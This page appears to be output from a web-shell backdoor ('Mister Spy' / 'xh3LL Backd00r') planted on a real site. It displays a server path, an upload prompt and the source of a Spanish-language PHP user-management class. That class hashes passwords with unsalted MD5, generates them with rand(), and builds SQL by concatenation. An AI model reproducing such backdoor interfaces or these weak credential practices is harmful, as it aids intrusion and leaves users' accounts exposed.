Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.usuarios.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.pais.php');
require_once('class.grupo.php');
require_once('class.usuario.php');
require_once('class.usuariogrupo.php');
require_once('class.usuariogrupos.php');
require_once('class.filter.php');
require_once('class.page.php');
require_once('class.listatipos.php');
require_once('class.tokengenerator.php');

class Usuarios extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		if ((isset($filter['Apellido'])) && ($filter['Apellido'] != ''))
		{	
			$sql.= " AND (u.Apellido RLIKE '" . DB::StringUnquoted($filter['Apellido']) . "'";
			$sql.= " OR u.Apellido IS NULL)";
		}
		
		if ((isset($filter['Nombre'])) && ($filter['Nombre'] != ''))
		{	
			$sql.= " AND (u.Nombre RLIKE '" . DB::StringUnquoted($filter['Nombre']) . "'";
			$sql.= " OR u.Nombre IS NULL)";
		}
		
		if ((isset($filter['Email'])) && ($filter['Email'] != ''))
		{	
			$sql.= " AND (u.Email RLIKE '" . DB::StringUnquoted($filter['Email']) . "'";
			$sql.= " OR u.Email IS NULL)";
		}
		
		if ((isset($filter['Dni'])) && ($filter['Dni'] != ''))
		{	
			$sql.= " AND (u.Dni RLIKE '" . DB::StringUnquoted($filter['Dni']) . "'";
			$sql.= " OR u.Dni IS NULL)";
		}

		if ((isset($filter['CuitCuil'])) && ($filter['CuitCuil'] != ''))
		{
			$sql.= " AND (u.CuitCuil LIKE '%" . DB::StringUnquoted($filter['CuitCuil']) . "%'";
			$sql.= " OR u.CuitCuil IS NULL)";
		}

		if ((isset($filter['IdTipoLista'])) && ($filter['IdTipoLista'] != ''))
			$sql.= " AND u.IdTipoLista = " . DB::Number($filter['IdTipoLista']);

			if ((isset($filter['IdTipoUsuario'])) && ($filter['IdTipoUsuario'] != ''))
				$sql.= " AND u.IdTipoUsuario = " . DB::Number($filter['IdTipoUsuario']);
		
		if ((isset($filter['IdPais'])) && ($filter['IdPais'] != ''))
			$sql.= " AND u.IdPais = " . DB::Number($filter['IdPais']);
		
		if ((isset($filter['IdProvincia'])) && ($filter['IdProvincia'] != ''))
			$sql.= " AND u.IdProvincia = " . DB::Number($filter['IdProvincia']);
		
		if ((isset($filter['IdEstado'])) && ($filter['IdEstado'] != ''))
			$sql.= " AND u.IdEstado = " . DB::Number($filter['IdEstado']);
				
		if ((isset($filter['Grupo'])) && ($filter['Grupo'] != ''))
			$sql.= ' AND ug.IdGrupo = '.DB::Number($filter['Grupo']); 
			
		return $sql;
	}	
	

	public function GetForSendNewsletter(array $filter)
	{
		$sql = "SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " LEFT JOIN tblUsuarioGrupos ug ON ug.IdUsuario = u.IdUsuario";
		$sql.= " WHERE u.IdEstado = " . DB::Number(UsuarioEstados::Activo);

		/* filtro de grupos */
		if ($filter['Grupos'])
		{
			$sql.= " AND ug.IdGrupo IN (";
			foreach ($filter['Grupos'] as $IdGrupo)
			{
				$sql.= DB::Number($IdGrupo) . ", ";
			}
			$sql.= "0";
			$sql.= ")";
		}

		/* filtro de paises */
		if ($filter['Paises'])
		{
			$sql.= " AND u.IdPais IN (";
			foreach ($filter['Paises'] as $IdPais)
			{
				$sql.= DB::Number($IdPais) . ", ";
			}
			$sql.= "0";
			$sql.= ")";
		}

		/* filtro de provincias */
		if ($filter['Provincias'])
		{
			$sql.= " AND u.IdProvincia IN (";
			foreach ($filter['Provincias'] as $IdProvincia)
			{
				$sql.= DB::Number($IdProvincia) . ", ";
			}
			$sql.= "0";
			$sql.= ")";
		}

		/* filtro de newsletter */
		if (isset($filter['Newsletter']))
		{
			$sql.= " AND u.Newsletter = " . DB::Bool($filter['Newsletter']);
		}

		$sql.= " GROUP BY u.IdUsuario";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oUsuario = new Usuario();
			$oUsuario->ParseFromArray($oRow);
			
			array_push($arr, $oUsuario);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
		
		
	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " LEFT JOIN tblUsuarioGrupos ug ON u.IdUsuario = ug.IdUsuario";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " GROUP BY u.IdUsuario";
		$sql.= " ORDER BY u.Apellido, u.Nombre";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oUsuario = new Usuario();
			$oUsuario->ParseFromArray($oRow);
			
			$oUsuario->Grupos = $oUsuario->GetAllGrupos();
			
			array_push($arr, $oUsuario);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}


	public function GetAllByPais(Pais $oPais)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " LEFT JOIN tblUsuarioGrupos ug ON u.IdUsuario = ug.IdUsuario";
		$sql.= " WHERE u.IdPais = " . DB::Number($oPais->IdPais);
		$sql.= " GROUP BY u.IdUsuario";
		
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
					
		$arr = array();
	
		while ($oRow = $oRes->GetRow())	
		{	
			$oUsuario = new Usuario();
			$oUsuario->ParseFromArray($oRow);
			
			array_push($arr, $oUsuario);
			
			$oRes->MoveNext();
		}	
		
		return $arr;
	}


	public function GetAllByProvincia(Provincia $oProvincia)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE u.IdProvincia = " . DB::Number($oProvincia->IdProvincia);

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
					
		$arr = array();
	
		while ($oRow = $oRes->GetRow())	
		{	
			$oUsuario = new Usuario();
			$oUsuario->ParseFromArray($oRow);
			
			array_push($arr, $oUsuario);
			
			$oRes->MoveNext();
		}
		
		return $arr;
	}
	

	public function GetAllByLocalidad(Localidad $oLocalidad)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE u.IdLocalidad = " . DB::Number($oLocalidad->IdLocalidad);

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;

		$arr = array();
					
		while ($oRow = $oRes->GetRow())	
		{	
			$oUsuario = new Usuario();
			$oUsuario->ParseFromArray($oRow);
			
			array_push($arr, $oUsuario);
			
			$oRes->MoveNext();
		}
		
		return $arr;
	}


	public function GetAllByGrupo(Grupo $oGrupo)
	{
		$sql = "SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " INNER JOIN tblUsuarioGrupos ug ON u.IdUsuario = ug.IdUsuario";
		$sql.= " WHERE ug.IdGrupo = " . DB::Number($oGrupo->IdGrupo);
		$sql.= " GROUP BY u.IdUsuario";
		
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oUsuario = new Usuario();
			$oUsuario->ParseFromArray($oRow);
			
			array_push($arr, $oUsuario);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	
		
	public function GetById($IdUsuario)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE u.IdUsuario = " . DB::Number($IdUsuario);	
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);

		/* obtiene los grupos del usuario */
		$oUsuario->Grupos = $oUsuario->GetAllGrupos();
		
		return $oUsuario;		
	}


	public function GetByCode($Code)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE MD5(CONCAT(Nombre, Apellido, Email)) = " . DB::String($Code);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;
	}


	public function GetByCredentials($Usuario, $Contrasenia, $IdTipoUsuario = null)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE (Usuario = " . DB::String($Usuario);	
		$sql.= " OR Email = " . DB::String($Usuario) . ")";
		$sql.= " AND Contrasenia = MD5(" . DB::String($Contrasenia) . ")";
		if ($IdTipoUsuario)
			$sql.= " AND IdTipoUsuario = " . DB::Number($IdTipoUsuario);

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}


	public function GetByIdCredentials($IdUsuario, $Contrasenia, $IdTipoUsuario = null)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE IdUsuario = " . DB::Number($IdUsuario);	
		$sql.= " AND Contrasenia = MD5(" . DB::String($Contrasenia) . ")";
		if ($IdTipoUsuario)
			$sql.= " AND IdTipoUsuario = " . DB::Number($IdTipoUsuario);
		
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}


	public function GetByLogin($Usuario, $IdTipoUsuario = null)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE Email = " . DB::String($Usuario);
		if ($IdTipoUsuario)
			$sql.= " AND IdTipoUsuario = " . DB::Number($IdTipoUsuario);	
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}

	public function GetByAccessToken($token, $IdTipoUsuario = null)
	{
		try {
			$data = TokenGenerator::DesencryptToken($token);
		} catch(Exception $e) {
			return false;
		}

		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE IdUsuario = " . DB::Number($data->userId);	
		$sql.= " AND AccessToken = " . DB::String($token);
		if ($IdTipoUsuario)
			$sql.= " AND IdTipoUsuario = " . DB::Number($IdTipoUsuario);	
		
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;
	}

	public function GetByToken($token, $IdTipoUsuario = null)
	{
		try {
			$data = TokenGenerator::DesencryptToken($token);
		} catch(Exception $e) {
			return false;
		}

		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE IdUsuario = " . DB::Number($data->userId);	
		$sql.= " AND Token = " . DB::String($token);
		if ($IdTipoUsuario)
			$sql.= " AND IdTipoUsuario = " . DB::Number($IdTipoUsuario);	
		
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;
	}

	
	public function GetByEmail($Email, $IdTipoUsuario = null)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE Email = " . DB::String($Email);
		if ($IdTipoUsuario)
			$sql.= " AND IdTipoUsuario = " . DB::Number($IdTipoUsuario);	
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}
	
	
	public function GetByDni($Dni, $IdTipoUsuario = null)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " WHERE Dni = " . DB::String($Dni);	
		if ($IdTipoUsuario)
			$sql.= " AND IdTipoUsuario = " . DB::Number($IdTipoUsuario);
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}
	

	public function GetCountByGrupo(Grupo $oGrupo)
	{
		$sql = "SELECT COUNT(1) AS CantidadUsuarios";
		$sql.= " FROM tblUsuarios u";
		$sql.= " INNER JOIN tblUsuarioGrupos ug ON un.IdUsuario = ung.Idusuario";
		$sql.= " WHERE ug.IdGrupo = " . DB::Number($oGrupo->IdGrupo);
		$sql.= " GROUP BY u.IdUsuario";
		
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;

		if ( !($oRow = $oRes->GetRow()) )
			return false;
					
		$Cantidad =	$oRow['CantidadUsuarios'];
					
		return $Cantidad;
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " LEFT JOIN tblUsuarioGrupos ug ON u.IdUsuario = ug.IdUsuario";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " GROUP BY u.IdUsuario";
		$sql.= " ORDER BY u.Apellido, u.Nombre";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(Usuario $oUsuario)
	{
		$oUsuarioGrupos = new UsuarioGrupos();
	
		/* inicia una transaccion */
		if (!DBAccess::$db->Begin())
			return false;
	
		$arr = array
		(
			'IdTipoLista'			=> DB::Number($oUsuario->IdTipoLista),
			'Nombre'				=> DB::String($oUsuario->Nombre),
			'Apellido'				=> DB::String($oUsuario->Apellido),
			'CodigoAreaTelefono'	=> DB::String($oUsuario->CodigoAreaTelefono),
			'Telefono'				=> DB::String($oUsuario->Telefono),
			'CodigoAreaFax'			=> DB::String($oUsuario->CodigoAreaFax),
			'Fax'					=> DB::String($oUsuario->Fax),
			'TelefonoEmergencia'	=> DB::String($oUsuario->TelefonoEmergencia),
			'FechaNacimiento'		=> DB::Date($oUsuario->FechaNacimiento),
			'Dni'					=> DB::String($oUsuario->Dni),
			'Email'					=> DB::String($oUsuario->Email),
			'DomicilioCalle'		=> DB::String($oUsuario->DomicilioCalle),
			'DomicilioNumero'		=> DB::Number($oUsuario->DomicilioNumero),
			'DomicilioPiso'			=> DB::String($oUsuario->DomicilioPiso),
			'DomicilioDpto'			=> DB::String($oUsuario->DomicilioDpto),
			'IdPais'				=> DB::Number($oUsuario->IdPais),
			'IdProvincia'			=> DB::Number($oUsuario->IdProvincia),
			'IdLocalidad'			=> DB::Number($oUsuario->IdLocalidad),
			'CodigoPostal'			=> DB::String($oUsuario->CodigoPostal),
			'Empresa'				=> DB::String($oUsuario->Empresa),
			'CuitCuil'				=> DB::String($oUsuario->CuitCuil),			
			'Usuario'				=> DB::String($oUsuario->Usuario),
			'Contrasenia'			=> DB::String(md5($oUsuario->Contrasenia)),
			'Newsletter'			=> DB::Bool($oUsuario->Newsletter),
			'IdEstado'				=> DB::Number($oUsuario->IdEstado),
			'IdSexo'				=> DB::Number($oUsuario->IdSexo),
			'IdTipoUsuario'			=> DB::Number($oUsuario->IdTipoUsuario)
			//'Localidad'				=> DB::String($oUsuario->Localidad)
		);

		if (!DBAccess::Insert('tblUsuarios', $arr))
		{
			DBAccess::$db->Rollback();	
			return false;
		}			

		/* obtenemos el id de usuario generado */
		$oUsuario->IdUsuario = DBAccess::GetLastInsertId();	

		/* inserta los grupos de interes */
		foreach($oUsuario->Grupos as $IdGrupo)
		{	
			$oUsuarioGrupo = new UsuarioGrupo();
		
			$oUsuarioGrupo->IdUsuario 	= $oUsuario->IdUsuario;
			$oUsuarioGrupo->IdGrupo 	= $IdGrupo;
			
			if (!$oUsuarioGrupos->Create($oUsuarioGrupo))
			{
				DBAccess::$db->Rollback();	
				return false;
			}			
		}

		/* finaliza la transaccion */
		DBAccess::$db->Commit();
			
		return $oUsuario;
	}
	
	
	public function Update(Usuario $oUsuario)
	{
		$oUsuarioGrupos = new UsuarioGrupos();
	
		/* inicia una transaccion */
		if (!DBAccess::$db->Begin())
			return false;
		
		$arr = array
		(
			'IdTipoLista'			=> DB::Number($oUsuario->IdTipoLista),
			'Nombre'				=> DB::String($oUsuario->Nombre),
			'Apellido'				=> DB::String($oUsuario->Apellido),
			'CodigoAreaTelefono'	=> DB::String($oUsuario->CodigoAreaTelefono),
			'Telefono'				=> DB::String($oUsuario->Telefono),
			'CodigoAreaFax'			=> DB::String($oUsuario->CodigoAreaFax),
			'Fax'					=> DB::String($oUsuario->Fax),
			'TelefonoEmergencia'	=> DB::String($oUsuario->TelefonoEmergencia),
			'FechaNacimiento'		=> DB::Date($oUsuario->FechaNacimiento),
			'Dni'					=> DB::String($oUsuario->Dni),
			'Email'					=> DB::String($oUsuario->Email),
			'DomicilioCalle'		=> DB::String($oUsuario->DomicilioCalle),
			'DomicilioNumero'		=> DB::Number($oUsuario->DomicilioNumero),
			'DomicilioPiso'			=> DB::String($oUsuario->DomicilioPiso),
			'DomicilioDpto'			=> DB::String($oUsuario->DomicilioDpto),
			'IdPais'				=> DB::Number($oUsuario->IdPais),
			'IdProvincia'			=> DB::Number($oUsuario->IdProvincia),
			'IdLocalidad'			=> DB::Number($oUsuario->IdLocalidad),
			'CodigoPostal'			=> DB::String($oUsuario->CodigoPostal),
			'Empresa'				=> DB::String($oUsuario->Empresa),
			'CuitCuil'				=> DB::String($oUsuario->CuitCuil),			
			'Usuario'				=> DB::String($oUsuario->Usuario),
			'Newsletter'			=> DB::Bool($oUsuario->Newsletter),
			'IdEstado'				=> DB::Number($oUsuario->IdEstado),
			'IdSexo'				=> DB::Number($oUsuario->IdSexo),
			'IdTipoUsuario'			=> DB::Number($oUsuario->IdTipoUsuario)//,
			//'Localidad'				=> DB::String($oUsuario->Localidad)
		);

		$where = " IdUsuario = " . (int)$oUsuario->IdUsuario;
		
		if (!DBAccess::UpdateEntidad('tblUsuarios', $arr, $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}			

		/* elimina los grupos asignados anteriormente */
		if (!DBAccess::DeleteEntidad('tblUsuarioGrupos', $where))
		{
			DBAccess::$db->Rollback();
			return false;
		}			

		/* inserta los grupos de interes */
		foreach($oUsuario->Grupos as $IdGrupo)
		{	
			$oUsuarioGrupo = new UsuarioGrupo();
		
			$oUsuarioGrupo->IdUsuario 	= $oUsuario->IdUsuario;
			$oUsuarioGrupo->IdGrupo 	= $IdGrupo;
			
			if (!$oUsuarioGrupos->Create($oUsuarioGrupo))
			{
				DBAccess::$db->Rollback();	
				return false;
			}			
		}
		
		/* finaliza la transaccion */
		DBAccess::$db->Commit();
		
		return $oUsuario;
	}
	
	
	public function ChangePassword(Usuario $oUsuario)
	{
		$where = " IdUsuario = " . (int)$oUsuario->IdUsuario;
		
		$arr = array('Contrasenia' => DB::String(md5($oUsuario->Contrasenia)));
		
		if (!DBAccess::UpdateEntidad('tblUsuarios', $arr, $where))
			return false;
		
		return $oUsuario;
	}
	
	
	public function UpdateAccessToken(Usuario $oUsuario)
	{
		$where = " IdUsuario = " . (int)$oUsuario->IdUsuario;
		
		$arr = array('AccessToken' => DB::String(($oUsuario->AccessToken)));
		
		if (!DBAccess::UpdateEntidad('tblUsuarios', $arr, $where))
			return false;
		
		return $oUsuario;
	}
	
	
	public function UpdateToken(Usuario $oUsuario)
	{
		$where = " IdUsuario = " . (int)$oUsuario->IdUsuario;
		
		$arr = array('Token' => DB::String(($oUsuario->Token)));
		
		if (!DBAccess::UpdateEntidad('tblUsuarios', $arr, $where))
			return false;
		
		return $oUsuario;
	}
	
	
	public function Delete($IdUsuario)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdUsuario = " . DB::Number($IdUsuario);
		if (!DBAccess::DeleteEntidad('tblUsuarioGrupos', $where))
		{
			DBAccess::$db->Rollback();
			return false;
		}
		if (!DBAccess::DeleteEntidad('tblUsuarios', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}		

		DBAccess::$db->Commit();
		
		return true;	
	}	
	
	
	public function DesactivarNewsletter($IdUsuario)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdUsuario = " . DB::Number($IdUsuario);

		if (!DBAccess::DeleteEntidad('tblUsuarioGrupos', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
		
		$arr = array('Newsletter' => DB::Bool(0));

		if (!DBAccess::UpdateEntidad('tblUsuarios', $arr, $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
		
		return true;
	}
	
	
	public function RecoveryPassword(Usuario $oUsuario)
	{
		$str 	= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
		$Pass 	= "";
	
		for($i=0; $i<10; $i++)
		{
			$Pass .= substr($str, rand(0, 62), 1);
		}
	
		$oUsuario->Contrasenia = $Pass;
		
		$arr = array('Contrasenia' => DB::String(md5($oUsuario->Contrasenia)));

		$where = " IdUsuario = " . (int)$oUsuario->IdUsuario;
		if (!DBAccess::UpdateEntidad('tblUsuarios', $arr, $where))
			return false;

		/* envia mail indicando cambio de contrase�a */
		$oUsuario->SendMailChangePassword();
		
		return $oUsuario;
	}
	
	
	public function ExportCsv(array $filter = NULL)
	{
		if (!DBAccess::$db->Begin())		
			return false;
		
		$FileName = "Usuarios.xls";
		
		header("Pragma: no-cache");
		header("Expires: -1");
		header("Cache-Control: no-store, no-cache, must-revalidate");		
		header("Content-Type: application/x-unknown");
		$header = "Content-Disposition: attachment; filename=" . $FileName . ";";
		header($header);
			
		$Usuarios = $this->GetAll($filter);
				
		$Separador 	= "\t";
		$SaltoLinea = "\n";
				
		$csv.= "Lista";
		$csv.= $Separador;
		$csv.= "Apellido";
		$csv.= $Separador;
		$csv.= "Nombre";
		$csv.= $Separador;
		$csv.= "Cod. Area";
		$csv.= $Separador;
		$csv.= "Telefono";
		$csv.= $Separador;
		$csv.= "Cod. Area";
		$csv.= $Separador;
		$csv.= "Fax";
		$csv.= $Separador;
		$csv.= "Email";
		$csv.= $Separador;
		$csv.= "Calle";
		$csv.= $Separador;
		$csv.= "Numero";
		$csv.= $Separador;
		$csv.= "Piso";
		$csv.= $Separador;
		$csv.= "Dpto";
		$csv.= $Separador;
		$csv.= "IdPais";
		$csv.= $Separador;
		$csv.= "IdProvincia";
		$csv.= $Separador;
		$csv.= "IdLocalidad";
		$csv.= $Separador;
		$csv.= "Codigo postal";
		$csv.= $Separador;
		$csv.= "Empresa";
		$csv.= $Separador;
		$csv.= "CUIT/CUIL";
		$csv.= $Separador;
		$csv.= "Newsletter";
		$csv.= $Separador;
		$csv.= "Grupos";
		$csv.= $SaltoLinea;
	
		foreach ($Usuarios as $oUsuario)
		{				
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->IdTipoLista));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->Apellido));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->Nombre));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodigoAreaTelefono));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->Telefono));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodigoAreaFax));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->Fax));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->Email));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->DomicilioCalle));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->DomicilioNumero));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->DomicilioPiso));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->DomicilioDpto));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->IdPais));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->IdProvincia));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->IdLocalidad));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodigoPostal));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->Empresa));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->CuitCuil));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oUsuario->Newsletter));
			$csv.= $Separador;
			
			if ($oUsuario->Newsletter == '1')
			{
				$Grupos = $oUsuario->GetAllGrupos();
				
				$IdGrupos = '';
				
				foreach ($Grupos as $oGrupo)
				{
					$IdGrupos.= $oGrupo->IdGrupo . ",";
				}
				
				if (isset($IdGrupos) && ($IdGrupos != ""))
				{
					$IdGrupos = substr($IdGrupos, 0, -1);
										
					$csv.= str_replace('(\t|\n)','', $IdGrupos);					
				}
			}
			
			$csv.= $SaltoLinea;			
		}		
		
		DBAccess::$db->Commit();

		print($csv);
		
		return true;	
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat